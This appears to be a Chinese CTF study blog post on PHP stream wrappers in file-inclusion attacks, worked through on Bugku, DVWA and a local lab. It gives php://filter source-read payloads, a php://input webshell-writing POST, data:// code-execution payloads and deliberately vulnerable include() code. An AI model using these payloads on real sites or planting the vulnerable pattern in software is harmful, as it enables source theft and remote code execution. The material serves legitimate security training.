前言:最近做题web题很多都涉及了PHP伪协议,这次就来详细的了解总结一下!
练习每个协议前,相关的配置必须开启或者关闭才不会报错,可以参考这张图片
下面就来了解PHP伪协议
说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://
访问输入输出流,有许多子协议,下面就来学习一下
说明:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单来理解就是:php://filter
是可以作为一个中间流来处理其他流,可以进行任意文件的读取。而且当使用不同的参数可以达到不同的目的和效果:
例子可以看PHP官网,特别详细
php://filter
这里通过bugku中的一道题来练习一下
打开链接后发现?file=show.php
,涉及文件包含漏洞,题目中又提示说:flag在index中,那就可以用php://filter
中的read
参数查看源文件内容
构造payload:
?file=php://filter/read=convert.base64-encode/resource=index.php
这里之所以进行base64编码是为了PHP不对其解析,这个payload也是常用的任意读取文件语句,只要将后面的页面修改即可。
可以参考官网的例子构造语句
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>
<html>
<title>Bugku-ctf</title>
error_reporting(0);
if(!$_GET[file]){echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
可以看到源代码中对用户输入的file
参数进行了过滤,但是源码中的include
函数将用户输入的引入php文件并执行,如果执行不成功,就返回文件的源码,所以才要进行base64编码。
说明:
php://input 是个可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据。
php://input
可以将要执行的语法php代码
写在post中提交,下面通过DVWA来练习一下
若有写入权限,也可以写入一句话木马
POST DATA
fputs(fopen('1juhua.php','w'),''); ?>
说明:
file:// — 访问本地文件系统,当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
模仿大师傅搭建一个本地靶场
@$file = isset($_GET[file])?$_GET['file']:'ctf.php';
include_once($file);
highlight_file($file);
?>
http://127.0.0.1/2.php?file=file://D:/PHPstudys/PHPTutorial/WWW/1.txt
访问成功
也可以用这个靶场来练习php://filter
协议
构造payload:
http://127.0.0.1/2.php?file=php://filter/read/convert.base64-encode/resource=1.txt
payload:
http://127.0.0.1/2.php?file=php://filter/resource=1.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
data: text/plain,
data://text/plain,
data://text/plain;base64,
在DVWA中进行测试
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain,<?echo phpinfo()?>
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain;base64,PD9lY2hvIHBocGluZm8oKT8%2b
注意要按照这个格式才能成功data://text/plain;base64,
还有base64编码后的加号和等号要手动的url编码,否则无法识别。
+ %2b
= %3d
可以通过一道题目练习一下:
例如这道题便过滤掉了php://
,可以使用data://
协议
既然可以使用就利用php中的system
函数直接命令执行即可
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。
总结:这次学习大致了解了一些PHP伪协议,但还是需要结合一些题目来练习一下,这次就先总结到这,等理解更深后,再来详细总结一下。